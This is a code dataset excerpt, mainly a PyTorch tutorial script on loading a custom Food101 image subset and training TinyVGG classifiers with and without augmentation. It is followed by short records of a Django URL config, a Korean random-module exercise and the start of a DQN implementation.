Code\n\"\"\"\n\nimport os\nimport time\nimport torch\nimport random\nimport requests\nimport zipfile\nimport pathlib\nimport torchinfo\nimport torchvision\nimport numpy as np\nimport pandas as pd\n\nfrom torch import nn\nfrom PIL import Image\nfrom pathlib import Path\nfrom tqdm.auto import tqdm\nfrom torchinfo import summary\nfrom matplotlib import pyplot as plt\nfrom typing import Tuple, Dict, List\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms\n\n# Download helper functions\nif Path(\"helper_functions.py\").is_file():\n print(\"helper_functions.py already exists, skipping download\")\nelse:\n print(\"Downloading helper_functions.py\")\n request = requests.get(\"https://raw.githubusercontent.com/UygarKAYA/DeepLearning/main/utils/helper_functions.py\")\n with open(\"helper_functions.py\", \"wb\") as f:\n f.write(request.content)\n \nfrom helper_functions import accuracy_func\nfrom helper_functions import execution_time\n\n# Setup Device Agnostic Code\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\ndevice\n\n\"\"\"\n## 1. Get Data from GitHub\n\n * Our Dataset is a Subset of the Food101 Dataset.\n * Food101 Starts 101 Different Classes of Food and 1000 Images Per Class (750 Training, 250 Testing).\n * Our Dataset Starts with 3 Classes of Food and Only 10% of the Images (~75 Training, 25 Testing).\n\"\"\"\n\ndata_path = Path(\"data/food101_dataset\")\nzip_data_path = 'data/food101_dataset.zip'\n\nif data_path.is_dir():\n print(f\"{data_path} directory already exist... skipping download\")\nelse:\n print(f\"{data_path} does not exist, creating one...\")\n data_path.mkdir(parents=True, exist_ok=True)\n\n# Download Food101 Dataset from GitHub Repository\nwith open(zip_data_path, 'wb') as f:\n request = requests.get('https://github.com/UygarKAYA/DeepLearning/raw/main/data/food101_dataset.zip')\n f.write(request.content)\n\n# Unzip Food101 Dataset\nwith zipfile.ZipFile(zip_data_path, 'r') as zip:\n zip.extractall(data_path)\n\n\"\"\"## 2. Data Preparation\"\"\"\n\n# Setup Train and Testing Paths\ntrain_path = data_path/'train'\ntest_path = data_path/'test'\n\n# Write a Transform for Image\ndata_transform = transforms.Compose([\n # Resize Our Images to 64x64\n transforms.Resize(size=(64, 64)),\n\n # Flip the Images Randomly on the Horizontal\n transforms.RandomHorizontalFlip(p=0.5),\n\n # Turn the Image into torch.Tensor\n transforms.ToTensor()\n])\n\ntrain_data = datasets.ImageFolder(root=train_path,\n transform=data_transform,\n target_transform=None)\n\ntest_data = datasets.ImageFolder(root=test_path,\n transform=data_transform)\n\ntrain_data, test_data\n\nclass_names = train_data.classes\nclass_dict = train_data.class_to_idx\nclass_names, class_dict\n\n\"\"\"## 2.1 Prepare DataLoader\"\"\"\n\n# Setup the Batch Size Hyperparameter\nBATCH_SIZE=32\nSHUFFLE_TRAIN_DATASET=True\nSHUFFLE_TEST_DATASET=False\n\ntrain_dataloader = DataLoader(dataset=train_data,\n batch_size=BATCH_SIZE, \n shuffle=SHUFFLE_TRAIN_DATASET)\n\ntest_dataloader = DataLoader(dataset=test_data,\n batch_size=BATCH_SIZE,\n shuffle=SHUFFLE_TEST_DATASET)\n\n\n# Let's check out what what we've created\nprint(f\"DataLoaders: {train_dataloader, test_dataloader}\")\nprint(f\"Length of train_dataloader: {len(train_dataloader)} batches of {BATCH_SIZE}...\")\nprint(f\"Length of test_dataloader: {len(test_dataloader)} batches of {BATCH_SIZE}...\")\n\n\"\"\"\n## 2.2 Option 1: Loading Image Data with a Custom Dataset\n\n1. Want to be able to load images from file\n2. Want to be able to get class names from the Dataset\n3. Want to be able to get classes as dictionary from the Dataset\n\nPros:\n * Can create a Dataset out of almost anything\n * Not limited to PyTorch pre-built Dataset functions\n\nCons:\n* Even though you could create Dataset out of almost anything, it doesn't mean it will work...\n* Using a custom Dataset often results in us writing more code, which could be prone to errors or performance issues\n\n## 2.2.1 Creating a Helper Function to Get Class Names\n\"\"\"\n\ndef find_classes(directory: str) -> Tuple[List[str], Dict[str, int]]:\n \"\"\"Finds the Class Folder Names in a Target Directory.\"\"\"\n # 1. Get the class names by scanning the target directory\n class_names = sorted(class_.name for class_ in os.scandir(directory) if class_.is_dir())\n\n # 2. Raise an error if class names could not be found\n if not class_names:\n raise FileNotFoundError(f\"Couldn't find any classes in {directory}... please check file structure.\")\n \n # 3. Create a dictionary of index labels\n class_to_idx = {class_name: idx for idx, class_name in enumerate(class_names)}\n\n return class_names, class_to_idx\n\n\"\"\"\n# 2.2.2 Create a Custom Dataset to Replicate ImageFolder\n\nTo create our own custom dataset, we want to:\n\n1. Subclass `torch.utils.data.Dataset`\n2. Init our subclass with a target directory (the directory we'd like to get data from) as well as a transform if we'd like to transform our data.\n3. Create several attributes:\n* paths - paths of our images\n* transform - the transform we'd like to use\n* classes - a list of the target classes\n* class_to_idx - a dict of the target classes mapped to integer labels\n\n4. Create a function to `load_images()`, this function will open an image\n5. Overwrite the `__len()__` method to return the length of our dataset\n6. Overwrite the `__getitem()__` method to return a given sample when passed an index\n\"\"\"\n\n# 1. Subclass torch.utils.data.Dataset\nclass CustomImageFolder(Dataset):\n # 2. Initialize our custom dataset\n def __init__(self, \n targ_dir: str, \n transform=None):\n # 3. Create class attributes\n # Get all of the image paths\n self.paths = list(pathlib.Path(targ_dir).glob(\"*/*.jpg\"))\n # Setup transform\n self.transform = transform\n # Create classes and class_to_idx attributes\n self.classes, self.class_to_idx = find_classes(targ_dir)\n\n # 4. Create a function to load images\n def load_image(self, index: int) -> Image.Image:\n \"Opens an image via a path and returns it.\"\n image_path = self.paths[index]\n return Image.open(image_path)\n\n # 5. Overwrite __len__()\n def __len__(self) -> int:\n \"Returns the total number of samples.\"\n return len(self.paths)\n \n # 6. Overwrite __getitem__() method to return a particular sample\n def __getitem__(self, index: int) -> Tuple[torch.Tensor, int]:\n \"Returns one sample of data, data and label (X, y).\"\n img = self.load_image(index)\n class_name = self.paths[index].parent.name # expects path in format: data_folder/class_name/image.jpg\n class_idx = self.class_to_idx[class_name]\n\n # Transform if necessary\n if self.transform:\n return self.transform(img), class_idx # return data, label (X, y)\n else:\n return img, class_idx # return untransformed image and label\n\ntrain_data_transform = transforms.Compose([\n transforms.Resize(size=(64, 64)),\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.ToTensor()\n])\n\ntest_data_transform = transforms.Compose([\n transforms.Resize(size=(64,64)),\n transforms.ToTensor()\n])\n\n# Test out CustomImageFolder\n\ncustom_train_data = CustomImageFolder(targ_dir=train_path,\n transform=train_data_transform)\n\ncustom_test_data = CustomImageFolder(targ_dir=test_path,\n transform=test_data_transform)\n\ncustom_train_data, custom_test_data\n\n\"\"\"\n## 2.3 Create a Helper Function to Display Random Images\n\n1. Take in a Dataset and a number of other parameters such as class names and how many images to visualize.\n2. To prevent the display getting out of hand, let's cap the number of images to see at 10.\n3. Set the random seed for reproducibility\n4. Get a list of random sample indexes from the target dataset.\n5. Setup a matplotlib plot.\n6. Loop through the random sample indexes and plot them with matploltib.\n7. Make sure the dimensions of our images line up with matplotlib (HWC)\n\"\"\"\n\n# 1. Create a function to take in a dataset\ndef display_random_images(dataset: torch.utils.data.Dataset,\n classes: List[str]=None,\n n: int=10,\n display_shape: bool=False,\n seed: int=None):\n # 2. Adjust display if n is too high\n if n > 10:\n n = 10\n display_shape = False\n print(f\"For display, purposes, n shouldn't be larger than 10, setting to 10 and removing shape display.\")\n\n # 3. Set the seed\n if seed:\n random.seed(seed)\n\n # 4. Get random sample indexes\n random_samples_idx = random.sample(range(len(dataset)), k=n)\n\n # 5. Setup plot\n plt.figure(figsize=(16, 8))\n\n # 6. Loop through random indexes and plot them with matplotlib\n for idx, targ_sample in enumerate(random_samples_idx):\n targ_image, targ_label = dataset[targ_sample][0], dataset[targ_sample][1]\n\n # 7. Adjust tensor dimensions for plotting\n targ_image_adjust = targ_image.permute(1, 2, 0) # [color_channels, height, width] -> [height, width, color_channels]\n\n # Plot adjusted samples\n plt.subplot(1, n, idx+1)\n plt.imshow(targ_image_adjust)\n if classes:\n title = f\"{classes[targ_label]}\"\n if display_shape:\n title = title + f\"\\n{targ_image_adjust.shape}\"\n plt.title(title)\n\n# Display random images from the ImageFolder created Dataset\ndisplay_random_images(train_data,\n n=5, \n classes=class_names,\n seed=42)\n\n# Display random images from the ImageFolderCustom Dataset\ndisplay_random_images(custom_train_data,\n n=5,\n classes=class_names,\n seed=42)\n\n\"\"\"## 2.4 Turn Custom Loaded Images Into DataLoader's\"\"\"\n\n# Setup the Batch Size Hyperparameter\nBATCH_SIZE=1\nSHUFFLE_TRAIN_DATASET=True\nSHUFFLE_TEST_DATASET=False\n\ncustom_train_dataloader = DataLoader(dataset=custom_train_data,\n batch_size=BATCH_SIZE,\n shuffle=SHUFFLE_TRAIN_DATASET)\n\ncustom_test_dataloader = DataLoader(dataset=custom_test_data,\n batch_size=BATCH_SIZE,\n shuffle=SHUFFLE_TEST_DATASET)\n\ncustom_train_dataloader, custom_test_dataloader\n\n\"\"\"\n## 3. Other Forms of Transforms (Data Augmentation)\n\n1. Data augmentation is the process of artificially adding diversity to your training data.\n\n2. In the case of image data, this may mean applying various image transformations to the training images.\n\n3. This practice hopefully results in a model that's more generalizable to unseen data.\n\n4. Let's take a look at one particular type of data augmentation used to train PyTorch vision models to state of the art levels...\n\n## 3.1 Create Transform and Train & Test Dataset's with Data Augmentation\n\"\"\"\n\ntrain_transform_data_aug = transforms.Compose([\n transforms.Resize(size=(64, 64)),\n transforms.TrivialAugmentWide(num_magnitude_bins=31),\n transforms.ToTensor()\n])\n\ntest_transform_data_aug = transforms.Compose([\n transforms.Resize(size=(64, 64)),\n transforms.ToTensor()\n])\n\ntrain_data_augmented = datasets.ImageFolder(root=train_path,\n transform=train_transform_data_aug)\n\ntest_data_augmented = datasets.ImageFolder(root=test_path,\n transform=test_transform_data_aug)\n\n\n# Setup the Batch Size Hyperparameter for DataLoader\nBATCH_SIZE=1\nSHUFFLE_TRAIN_DATASET=True\nSHUFFLE_TEST_DATASET=False\n\ntrain_dataloader_augmented = DataLoader(dataset=train_data_augmented,\n batch_size=BATCH_SIZE,\n shuffle=SHUFFLE_TRAIN_DATASET)\n\ntest_dataloader_augmented = DataLoader(dataset=test_data_augmented,\n batch_size=BATCH_SIZE,\n shuffle=SHUFFLE_TEST_DATASET)\n\ntrain_dataloader_augmented, test_dataloader_augmented\n\n# Display random images from the ImageFolder created Dataset\ndisplay_random_images(train_data,\n n=5, \n classes=class_names,\n seed=42)\n\n# Display random images from the Dataset with Data Augmentation\ndisplay_random_images(train_data_augmented,\n n=5,\n classes=class_names,\n seed=42)\n\n\"\"\"## 4. ModelV0: TinyVGG without Data Augmentation\"\"\"\n\nfrom torch.nn.modules.pooling import MaxPool2d\n# Create a Convolutional Neural Network - ConvNets\n# Setup Hyperparameters\nKERNEL_SIZE=3\nSTRIDE=1\nPADDING=0\n\nclass TinyVGG(nn.Module):\n \"\"\"\n Model Architecture that Replicates the TinyVGG Model from images/ConvNets.png\n \"\"\"\n def __init__(self, \n input_channels: int,\n input_shape: int, \n hidden_neurons: int,\n output_shape: int):\n super().__init__()\n self.first_conv_block = nn.Sequential(\n nn.Conv2d(in_channels=input_channels,\n out_channels=hidden_neurons,\n kernel_size=KERNEL_SIZE,\n stride=STRIDE,\n padding=PADDING),\n nn.ReLU(),\n nn.Conv2d(in_channels=hidden_neurons,\n out_channels=hidden_neurons,\n kernel_size=KERNEL_SIZE,\n stride=STRIDE,\n padding=PADDING),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=(KERNEL_SIZE-1))\n )\n self.second_conv_block = nn.Sequential(\n nn.Conv2d(in_channels=hidden_neurons,\n out_channels=hidden_neurons,\n kernel_size=KERNEL_SIZE,\n stride=STRIDE,\n padding=PADDING),\n nn.ReLU(),\n nn.Conv2d(in_channels=hidden_neurons,\n out_channels=hidden_neurons,\n kernel_size=KERNEL_SIZE,\n stride=STRIDE,\n padding=PADDING),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=(KERNEL_SIZE-1))\n )\n self.fully_connected_layer = nn.Sequential(\n nn.Flatten(),\n nn.Linear(in_features=hidden_neurons*input_shape,\n out_features=output_shape)\n )\n\n def forward(self, x:torch.Tensor) -> torch.Tensor:\n return self.fully_connected_layer(self.second_conv_block(self.first_conv_block(x)))\n\ntorch.manual_seed(42)\ntorch.cuda.manual_seed(42)\n\n# Create an Instance of TinyVGG\nconvNetsModelV0 = TinyVGG(\n input_channels=3, # number of color channels in our image data\n input_shape=13*13,\n hidden_neurons=10,\n output_shape=len(class_names)\n).to(device)\n\n\"\"\"## 4.1 Use `torchinfo` to Get an Idea of the Shapes Going Through Our Model\"\"\"\n\nsummary(convNetsModelV0, input_size=[32, 3, 64, 64])\n\n\"\"\"## 4.2 Functionizing Training & Testing/Inference Loops\"\"\"\n\n# Create Training Step\ndef train_model(model: torch.nn.Module,\n train_data_loader: torch.utils.data.DataLoader, \n loss_func: torch.nn.Module,\n optimizer: torch.optim.Optimizer,\n accuracy_func,\n device: torch.device=device):\n \"\"\"\n Performs a Training with Model Trying to Learn on DataLoader\n \"\"\"\n \n train_loss, train_accuracy = 0, 0\n\n # Put Model into Training Phase\n model.train()\n\n # Add a Loop to Loop Through the Training Batches\n for batch, (train_image, train_label) in enumerate(train_data_loader):\n \n # Put Data to Target Device\n train_image, train_label = train_image.to(device), train_label.to(device)\n \n # 1. Forward Pass\n train_logits = model.forward(train_image)\n train_preds = torch.argmax(torch.softmax(train_logits, dim=1), dim=1)\n\n # 2. Calculate Loss & Accuracy Per Batch\n train_loss_ = loss_func(train_logits, train_label)\n train_loss += train_loss_.item() # Accumulate Train Loss\n train_accuracy += accuracy_func(train_preds, train_label)\n\n # 3. Optimizer Zero Grad\n optimizer.zero_grad()\n\n # 4. Loss Backward\n train_loss_.backward()\n\n # 5. Optimizer Step\n optimizer.step()\n\n # Divide Total Train Loss & Accuracy by Length of Train DataLoader\n train_loss /= len(train_data_loader)\n train_accuracy /= len(train_data_loader)\n\n # print(f\"Train Accuracy: {train_accuracy:.2f} | Train Loss: {train_loss:.2f}\")\n return train_loss, train_accuracy\n\n# Create Testing Step\ndef test_model(model: torch.nn.Module,\n test_data_loader: torch.utils.data.DataLoader,\n loss_func: torch.nn.Module, \n accuracy_func,\n device: torch.device=device):\n \"\"\"\n Performs a Testing Loop Step on Model Going Over DataLoader\n \"\"\"\n\n test_loss, test_accuracy = 0, 0\n\n # Put the Model in Eval Mode\n model.eval()\n\n # Turn on Inference Mode Context Manager\n with torch.inference_mode():\n for batch, (test_image, test_label) in enumerate(test_data_loader):\n\n # Send the Data Target Device\n test_image, test_label = test_image.to(device), test_label.to(device)\n\n # 1. Forward Pass\n test_logits = model.forward(test_image)\n test_preds = torch.argmax(torch.softmax(test_logits, dim=1), dim=1)\n\n # 2. Calculate Loss & Accuracy Per Batch\n test_loss += loss_func(test_logits, test_label).item()\n test_accuracy += accuracy_func(test_preds, test_label)\n\n # Divide Total Test Loss & Accuracy by Length of Test DataLoader\n test_loss /= len(test_data_loader)\n test_accuracy /= len(test_data_loader)\n \n # print(f\"Test Accuracy: {test_accuracy:.2f} | Test Loss: {test_loss:.2f}\")\n return test_loss, test_accuracy\n\ndef train_step(model: torch.nn.Module,\n epochs: int, \n train_data: torch.utils.data.DataLoader,\n test_data: torch.utils.data.DataLoader,\n loss_func: torch.nn.Module,\n optimizer: torch.optim,\n accuracy_func,\n device: torch.device=device):\n\n # Create empty results dictionary for plotting the model result\n model_results_dict = {\"train_loss\": [], \"train_accuracy\": [], \"test_loss\": [], \"test_accuracy\": []}\n\n for epoch in tqdm(range(EPOCHS)):\n train_loss, train_accuracy = train_model(model=model,\n train_data_loader=train_data,\n loss_func=loss_func,\n optimizer=optimizer,\n accuracy_func=accuracy_func,\n device=device)\n \n test_loss, test_accuracy = test_model(model=model,\n test_data_loader=test_data,\n loss_func=loss_func,\n accuracy_func=accuracy_func,\n device=device)\n \n print(f\"Epoch: {epoch} | Train Accuracy: {train_accuracy:.2f} | Train Loss: {train_loss:.2f} | Test Accuracy: {test_accuracy:.2f} | Test Loss: {test_loss:.2f}\")\n\n # 5. Update results dictionary\n model_results_dict[\"train_loss\"].append(train_loss)\n model_results_dict[\"train_accuracy\"].append(train_accuracy)\n model_results_dict[\"test_loss\"].append(test_loss)\n model_results_dict[\"test_accuracy\"].append(test_accuracy)\n \n return model_results_dict\n\n\"\"\"## 4.4 Create Loss Function, Optimizer & Evaluation Function\"\"\"\n\n# Setup Random Seeds\ntorch.manual_seed(42)\ntorch.cuda.manual_seed(42)\n\n# Recreate an Instance of TinyVGG\nconvNetsModelV0 = TinyVGG(\n input_channels=3, # number of color channels in our image data\n input_shape=13*13,\n hidden_neurons=10,\n output_shape=len(class_names)\n).to(device)\n\n# Setup Hyperparameter\nEPOCHS=15\nLEARNING_RATE=0.001\nMODEL_PARAMETERS=convNetsModelV0.parameters()\n\n# Setup Loss Function & Optimizer\nloss_func = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(params=MODEL_PARAMETERS,\n lr=LEARNING_RATE)\n\n# Start the Timer\nexecution_start_time = time.time()\n\n# Train First TinyVGG Model\nconvNetsModelV0Result = train_step(model=convNetsModelV0,\n epochs=EPOCHS,\n train_data=train_dataloader,\n test_data=test_dataloader,\n loss_func=loss_func,\n optimizer=optimizer,\n accuracy_func=accuracy_func,\n device=device)\n\n# End the Timer & Print Out How Long It Took\nexecution_end_time = time.time()\nmodel_execution_time = execution_time(\n start_time=execution_start_time,\n end_time=execution_end_time,\n device=device\n)\n\n\"\"\"## 5. Plot the Loss & Accuracy Curves of Model\"\"\"\n\ndef plot_curves(results: Dict[str, List[float]], epochs: int):\n \"\"\"Plots Training & Testing Curves of a Results Dictionary\"\"\"\n \n # Generate a List of Epoch Values based on the Number of Epochs\n epochs = range(1, epochs + 1)\n\n # Setup a Plot\n plt.figure(figsize=(15, 7))\n\n # Plot the Train & Test Accuracy\n plt.subplot(1, 2, 1)\n plt.plot(epochs, results['train_accuracy'], label='Train Accuracy')\n plt.plot(epochs, results['test_accuracy'], label='Test Accuracy')\n plt.title('Train & Test Accuracy')\n plt.xlabel('Epochs')\n plt.ylabel('Accuracy')\n plt.legend()\n\n # Plot the Train & Test Loss\n plt.subplot(1, 2, 2)\n plt.plot(epochs, results['train_loss'], label='Train Loss')\n plt.plot(epochs, results['test_loss'], label='Test Loss')\n plt.title('Train & Test Loss')\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.legend()\n\nplot_curves(results=convNetsModelV0Result, epochs=EPOCHS)\n\n\"\"\"\n## 5.1 What Should an Ideal Loss Curve Look Like?\n* Loss Curve is one of the most helpful ways to troubleshoot a model\n* https://developers.google.com/machine-learning/testing-debugging/metrics/interpretic\n\n\n\n## 5.1.1 How to Deal with Overfitting\n* Since the main problem with [overfitting](https://developers.google.com/machine-learning/glossary#overfitting) is that you're model is fitting the training data too well, you'll want to use techniques to \"reign it in\"\n* A common technique of preventing overfitting is known as [regularization](https://ml-cheatsheet.readthedocs.io/en/latest/regularization.html)\n\n\n\n## 5.1.2 How to Deal with Underfitting\n* When a model is [underfitting](https://developers.google.com/machine-learning/glossary#underfitting) it is considered to have poor predictive power on the training and test sets\n* In essence, an underfitting model will fail to reduce the loss values to a desired level\n\n\n\n## 6. Model 1: TinyVGG with Data Augmentation\n* Let's Try Another Modelling Experiment This Time Using the Same Model as Before with Some Data Augmentation\n\"\"\"\n\ntorch.manual_seed(42)\ntorch.cuda.manual_seed(42)\n\n# Create an Instance of TinyVGG\nconvNetsModelV1 = TinyVGG(\n input_channels=3, # number of color channels in our image data\n input_shape=13*13,\n hidden_neurons=10,\n output_shape=len(class_names)\n).to(device)\n\nconvNetsModelV1\n\n# Setup Random Seeds\ntorch.manual_seed(42)\ntorch.cuda.manual_seed(42)\n\n# Setup Hyperparameter\nEPOCHS=15\nLEARNING_RATE=0.001\nMODEL_PARAMETERS=convNetsModelV1.parameters()\n\n# Setup Loss Function & Optimizer\nloss_func = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(params=MODEL_PARAMETERS,\n lr=LEARNING_RATE)\n\n# Start the Timer\nexecution_start_time = time.time()\n\n# Train First TinyVGG Model\nconvNetsModelV1Result = train_step(model=convNetsModelV1,\n epochs=EPOCHS,\n train_data=train_dataloader_augmented,\n test_data=test_dataloader_augmented,\n loss_func=loss_func,\n optimizer=optimizer,\n accuracy_func=accuracy_func,\n device=device)\n\n# End the Timer & Print Out How Long It Took\nexecution_end_time = time.time()\nmodel_execution_time = execution_time(\n start_time=execution_start_time,\n end_time=execution_end_time,\n device=device\n)\n\nplot_curves(results=convNetsModelV1Result, epochs=EPOCHS)\n\n\"\"\"\n## 7. Compare Model Results\n\nThere's a few different ways to do this:\n\n1. Hard coding (what we're doing)\n2. PyTorch + Tensorboard - https://pytorch.org/docs/stable/tensorboard.html\n3. Weights & Biases - https://wandb.ai/site/experiment-tracking\n4. MLFlow - https://mlflow.org/\n\"\"\"\n\nmodel0_dataFrame = pd.DataFrame(convNetsModelV0Result)\nmodel1_dataFrame = pd.DataFrame(convNetsModelV1Result)\n\n# Generate a List of Epoch Values based on the Number of Epochs\nepochs = range(1, EPOCHS + 1)\n\n# Setup a Plot\nplt.figure(figsize=(15, 10))\n\n# Plot the Train & Test Accuracy\nplt.subplot(2, 2, 1)\nplt.plot(epochs, model0_dataFrame['train_accuracy'], label='convNetsModelV0')\nplt.plot(epochs, model1_dataFrame['train_accuracy'], label='convNetsModelV1')\nplt.title('Train Accuracy')\nplt.xlabel('Epochs')\nplt.ylabel('Train Accuracy')\nplt.legend()\n\nplt.subplot(2, 2, 2)\nplt.plot(epochs, model0_dataFrame['test_accuracy'], label='convNetsModelV0')\nplt.plot(epochs, model1_dataFrame['test_accuracy'], label='convNetsModelV1')\nplt.title('Test Accuracy')\nplt.xlabel('Epochs')\nplt.ylabel('Test Accuracy')\nplt.legend()\n\n# Plot the Train & Test Loss\nplt.subplot(2, 2, 3)\nplt.plot(epochs, model0_dataFrame['train_loss'], label='convNetsModelV0')\nplt.plot(epochs, model1_dataFrame['train_loss'], label='convNetsModelV1')\nplt.title('Train Loss')\nplt.xlabel('Epochs')\nplt.ylabel('Train Loss')\nplt.legend()\n\nplt.subplot(2, 2, 4)\nplt.plot(epochs, model0_dataFrame['test_loss'], label='convNetsModelV0')\nplt.plot(epochs, model1_dataFrame['test_loss'], label='convNetsModelV1')\nplt.title('Test Loss')\nplt.xlabel('Epochs')\nplt.ylabel('Test Loss')\nplt.legend()\n\n\"\"\"\n## 8. Making Prediction on Custom Image\n## 8.1 Loading in Custom Image with PyTorch\n\"\"\"\n\ncustom_image_path = train_path/\"pizza/5764.jpg\"\ncustom_image_transforms = transforms.Compose([\n transforms.Resize(size=(64, 64))\n])\n\ncustom_image = torchvision.io.read_image(str(custom_image_path)).type(torch.float32)\ncustom_image = custom_image / 255\ncustom_image_resize = custom_image_transforms(custom_image) # this will error for eval mode: no batch size\n\nplt.figure(figsize=(10, 5))\nplt.subplot(1, 2, 1)\nplt.title('Original Image')\nplt.imshow(custom_image.permute(1, 2, 0))\n\nplt.subplot(1, 2, 2)\nplt.title('Resized Image')\nplt.imshow(custom_image_resize.permute(1, 2, 0))\n\n# To Avoid the Error, Add Batch Size\ncustom_image_resize = custom_image_resize.unsqueeze(0)\n\n\"\"\"\n## To Make Prediction on Custom Image We Had To:\n\n* Load the image and turn it into a tensor\n* Make sure the image was the same datatype as the model (torch.float32)\n* Make sure the image was the same shape as the data the model was trained on (3, 64, 64) with a batch size... (1, 3, 64, 64)\n* Make sure the image was on the same device as our model\n\n## 8.2 Putting Custom Image Prediction Together: Building a Function\n\n* Function Where We Pass an Image Path to and Have Our Model Predict on That Image and Plot the Image + Prediction\n\"\"\"\n\ndef make_prediction(model: torch.nn.Module,\n image_path: str,\n class_names: List[str] = None,\n transform=None,\n device=device):\n \"\"\"Makes a Prediction on a Target Image with a Trained Model & Plots the Image and Prediction\"\"\"\n\n # Load in the image\n target_image = torchvision.io.read_image(str(image_path)).type(torch.float32)\n\n # Divide the image pixel values by 255 to get them between [0, 1]\n target_image = target_image / 255.\n\n # Transform if necessary\n if transform:\n target_image = transform(target_image)\n\n # Make sure the model is on the target device\n model.to(device)\n\n # Turn on eval/inference mode and make a prediction\n model.eval()\n with torch.inference_mode():\n # Add an extra dimension to the image (this is the batch dimension, e.g. our model will predict on batches of 1x image)\n target_image = target_image.unsqueeze(0)\n\n # Make a prediction on the image with an extra dimension\n target_image_pred = model(target_image.to(device)) # make sure the target image is on the right device\n\n # Convert logits -> prediction probabilities\n target_image_pred_probs = torch.softmax(target_image_pred, dim=1)\n\n # Convert predction probabilities -> prediction labels\n target_image_pred_label = torch.argmax(target_image_pred_probs, dim=1)\n\n # Plot the image alongside the prediction and prediction probability\n plt.imshow(target_image.squeeze().permute(1, 2, 0)) # remove batch dimension and rearrange shape to be HWC\n if class_names:\n title = f\"Prediction: {class_names[target_image_pred_label.cpu()].capitalize()} | Probability: {target_image_pred_probs.max().cpu():.3f}\"\n else:\n title = f\"Prediction: {target_image_pred_label} | Probability: {target_image_pred_probs.max().cpu():.3f}\"\n plt.title(title)\n\n# Pred on Our Custom Image\nmake_prediction(model=convNetsModelV1,\n image_path=custom_image_path,\n class_names=class_names,\n transform=custom_image_transforms,\n device=device)","repo_name":"uygarkaya/DeepLearning","sub_path":"python/pytorch_custom_datasets.py","file_name":"pytorch_custom_datasets.py","file_ext":"py","file_size_in_byte":29758,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"15951599885","text":"from django.urls import path, include\n\nfrom rest_framework import routers\n\n\nfrom . import views\n\n\nrouter = routers.DefaultRouter()\nrouter.register(r'members',views.MemberViewSet)\nrouter.register(r'committeeroles',views.CommitteeRoleViewSet)\n\n\nurlpatterns = [\n path('member/id/', views.member, name=\"member_profile\"),\n path('members', views.member_list),\n path('member/update/id/', views.member_update, name=\"member_update\"),\n path('member/id//ajax_last_name', views.ajax_last_name_update),\n path('restapi/',include(router.urls))\n]\n","repo_name":"jamescruickshank/CS424-2018-19","sub_path":"clubsite/clubmanager/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"21577517163","text":"# 난수\n# random 모듈\n\nimport random\n\n# def main():\n# for i in range(5):\n# print(\"randint = \", random.randint(1, 10)) # 1부터 10사이 정수 (10 포함)\n# for i in range(5):\n# print(\"randrange = \", random.randrange(1, 10)) # 1부터 9사이 정수 (10 미포함)\n# for i in range(5):\n# print(\"uniform = \", random.uniform(1, 10)) # 1부터 9사이 실수 (10 미포함)\n#\n# main()\n\n# def main():\n#\n# print(random.choice(food)) # 시퀀스에서 랜덤하게 요소 선택하여 리턴\n#\n# i = random.randrange(len(food))\n# print(food[i])\n#\n# main()\n\n# def main():\n# food = [\"짜장면\", \"짬뽕\", \"탕수육\", \"군만두\"]\n# print(food)\n# random.shuffle(food) # 시퀀스의 내용을 랜덤하게 섞음, 셔플의 리턴값은 없음. 즉 food 리스트가 shuffle로 인해 값이 바뀜\n# print(food)\n#\n# main()\n\ndef main():\n nums = random.sample(range(1, 46), 6)\n nums.sort()\n print(nums)\n\nmain()","repo_name":"hyunsooDii/TIL_Source","sub_path":"python/chapter12/ex12_02.py","file_name":"ex12_02.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28507183122","text":"\"\"\"\nPersonal implementation of Playing Atari with Deep Reinforcement Learning, by Mnih et al. (2013)\nhttps://www.cs.toronto.edu/~vmnih/docs/dqn.pdf\n\nAnson Ho, 2021\n\"\"\"\n\nimport gym\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport random\nimport wandb\nfrom assets.memorybuffer import MemoryBuffer\n\nclass ffDQN(nn.Module):\n \"\"\"\n Creates a simple DQN with fully connected layers.\n This only works on simple environments, so that there\n is no need to learn from pixels\n\n Args\n - num_inputs depends on the environment \n - num_outputs is typically the size of the action space\n \"\"\"\n def __init__(self, num_inputs, num_outputs):\n super(ffDQN, self).__init__()\n self.fc1 = nn.Linear(num_inputs, config[\"l1_neurons\"])\n self.fc2 = nn.Linear(config[\"l1_neurons\"], config[\"l2_neurons\"])\n self.fc3 = nn.Linear(config[\"l2_neurons\"], config[\"l3_neurons\"])\n self.fc4 = nn.Linear(config[\"l3_neurons\"], num_outputs)\n self.loss_function = nn.SmoothL1Loss()\n\n torch.nn.init.normal_(self.fc1.weight, mean=0.0, std=0.1)\n torch.nn.init.normal_(self.fc2.weight, mean=0.0, std=0.1)\n torch.nn.init.normal_(self.fc3.weight, mean=0.0, std=0.1)\n torch.nn.init.normal_(self.fc4.weight, mean=0.0, std=0.1)\n \n def forward(self, state):\n x = F.relu(self.fc1(state))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n x = self.fc4(x)\n return x\n\ndef epsilon_greedy(epsilon, state):\n \"\"\"\n Select actions based on an \n epsilon-greedy policy\n \"\"\"\n\n q_values = net(state)\n max_q_value = torch.max(q_values).detach().numpy()\n\n # explore\n if random.uniform(0,1) < epsilon:\n action = env.action_space.sample()\n # exploit\n else: \n action = torch.argmax(q_values).item()\n\n return action, max_q_value\n\ndef optimise():\n \"\"\"\n Performs a single optimisation step,\n given a minibatch of transitions\n \"\"\"\n\n if len(memory) < config[\"minibatch_size\"]:\n return\n\n minibatch = memory.random_sample(config[\"minibatch_size\"])\n state_minibatch, action_minibatch, reward_minibatch, next_state_minibatch, done_minibatch = tuple(zip(*minibatch))\n state_minibatch, action_minibatch, 